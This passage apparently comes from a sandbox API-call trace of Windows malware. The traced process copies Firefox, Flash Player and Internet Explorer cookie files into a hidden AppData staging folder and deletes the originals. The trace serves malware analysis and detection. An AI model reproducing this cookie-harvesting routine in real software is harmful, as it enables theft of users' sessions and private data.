(lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\\\3y2joh8o.default" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ff\\3y2joh8o.default"), lpSecurityAttributes=0x0) returned 1 [0111.826] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\\\3y2joh8o.default", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\\\3y2joh8o.default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\\\3y2joh8o.default\\" [0111.826] StrChrW (lpStart="cookies.sqlite", wMatch=0x94e005c) returned 0x0 [0111.826] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\\\3y2joh8o.default\\", lpString2="cookies.sqlite" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\\\3y2joh8o.default\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\\\3y2joh8o.default\\cookies.sqlite" [0111.826] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cookies.sqlite"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ff\\\\3y2joh8o.default\\cookies.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ff\\3y2joh8o.default\\cookies.sqlite"), bFailIfExists=0) returned 1 [0111.841] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0111.842] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cookies.sqlite")) returned 0 [0111.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fe70 | out: hHeap=0x9770000) returned 1 [0111.842] lstrlenW (lpString="macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 51 [0111.842] lstrlenW (lpString="\\sols") returned 5 [0111.842] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0111.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11a) returned 0x9770de0 [0111.842] lstrcpyW (in: lpString1=0x9770de0, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0111.842] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\sols" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols" [0111.842] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\sols"), lpSecurityAttributes=0x0) returned 1 [0111.842] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\" [0111.842] StrChrW (lpStart="macromedia.com\\support\\flashplayer\\sys\\settings.sol", wMatch=0x94e005c) returned="\\support\\flashplayer\\sys\\settings.sol" [0111.842] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\", lpString2="macromedia.com" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com" [0111.842] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\sols\\macromedia.com"), lpSecurityAttributes=0x0) returned 1 [0111.842] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\" [0111.842] StrChrW (lpStart="support\\flashplayer\\sys\\settings.sol", wMatch=0x94e005c) returned="\\flashplayer\\sys\\settings.sol" [0111.842] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\", lpString2="support" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support" [0111.843] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\sols\\macromedia.com\\support"), lpSecurityAttributes=0x0) returned 1 [0111.937] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\" [0111.937] StrChrW (lpStart="flashplayer\\sys\\settings.sol", wMatch=0x94e005c) returned="\\sys\\settings.sol" [0111.938] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\", lpString2="flashplayer" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer" [0111.938] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\sols\\macromedia.com\\support\\flashplayer"), lpSecurityAttributes=0x0) returned 1 [0111.938] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer\\" [0111.938] StrChrW (lpStart="sys\\settings.sol", wMatch=0x94e005c) returned="\\settings.sol" [0111.938] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer\\", lpString2="sys" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer\\sys" [0111.938] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer\\sys" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\sols\\macromedia.com\\support\\flashplayer\\sys"), lpSecurityAttributes=0x0) returned 1 [0111.939] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer\\sys", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer\\sys\\" [0111.939] StrChrW (lpStart="settings.sol", wMatch=0x94e005c) returned 0x0 [0111.939] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="settings.sol" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" [0111.939] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\sols\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\sols\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), bFailIfExists=0) returned 1 [0111.942] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770de0 | out: hHeap=0x9770000) returned 1 [0111.942] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol")) returned 1 [0111.943] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a922c0 | out: hHeap=0x9770000) returned 1 [0111.943] lstrlenW (lpString="aetadzjz@g.live[1].txt") returned 22 [0111.943] lstrlenW (lpString="\\cookie.ie") returned 10 [0111.943] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0111.943] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xea) returned 0x9a92280 [0111.943] lstrcpyW (in: lpString1=0x9a92280, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0111.943] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0111.943] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 1 [0111.944] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0111.944] StrChrW (lpStart="aetadzjz@g.live[1].txt", wMatch=0x94e005c) returned 0x0 [0111.944] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="aetadzjz@g.live[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\aetadzjz@g.live[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\aetadzjz@g.live[1].txt" [0111.944] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\aetadzjz@g.live[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\aetadzjz@g.live[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\aetadzjz@g.live[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\aetadzjz@g.live[1].txt"), bFailIfExists=0) returned 1 [0111.950] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92280 | out: hHeap=0x9770000) returned 1 [0111.950] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\aetadzjz@g.live[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\aetadzjz@g.live[1].txt")) returned 1 [0111.951] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0111.951] lstrlenW (lpString="aetadzjz@google[1].txt") returned 22 [0111.951] lstrlenW (lpString="\\cookie.ie") returned 10 [0111.951] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0111.951] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xea) returned 0x9a6e990 [0111.951] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0111.951] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0111.951] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0111.951] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0111.951] StrChrW (lpStart="aetadzjz@google[1].txt", wMatch=0x94e005c) returned 0x0 [0111.951] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="aetadzjz@google[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\aetadzjz@google[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\aetadzjz@google[1].txt" [0111.951] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\aetadzjz@google[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\aetadzjz@google[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\aetadzjz@google[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\aetadzjz@google[1].txt"), bFailIfExists=0) returned 1 [0111.956] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0111.956] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\aetadzjz@google[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\aetadzjz@google[1].txt")) returned 1 [0111.957] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0111.957] lstrlenW (lpString="aetadzjz@live[1].txt") returned 20 [0111.957] lstrlenW (lpString="\\cookie.ie") returned 10 [0111.957] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0111.957] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xe6) returned 0x9a6e010 [0111.957] lstrcpyW (in: lpString1=0x9a6e010, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0111.957] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0111.957] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0111.957] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0111.957] StrChrW (lpStart="aetadzjz@live[1].txt", wMatch=0x94e005c) returned 0x0 [0111.957] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="aetadzjz@live[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\aetadzjz@live[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\aetadzjz@live[1].txt" [0111.957] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\aetadzjz@live[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\aetadzjz@live[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\aetadzjz@live[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\aetadzjz@live[1].txt"), bFailIfExists=0) returned 1 [0111.962] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0111.962] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\aetadzjz@live[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\aetadzjz@live[1].txt")) returned 1 [0111.963] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e120 | out: hHeap=0x9770000) returned 1 [0111.963] lstrlenW (lpString="Low\\aetadzjz@ad.360yield[2].txt") returned 31 [0111.963] lstrlenW (lpString="\\cookie.ie") returned 10 [0111.963] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0111.963] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xfc) returned 0x9a96580 [0111.963] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0111.963] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0111.963] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0111.963] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0111.963] StrChrW (lpStart="Low\\aetadzjz@ad.360yield[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@ad.360yield[2].txt" [0111.963] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0111.963] 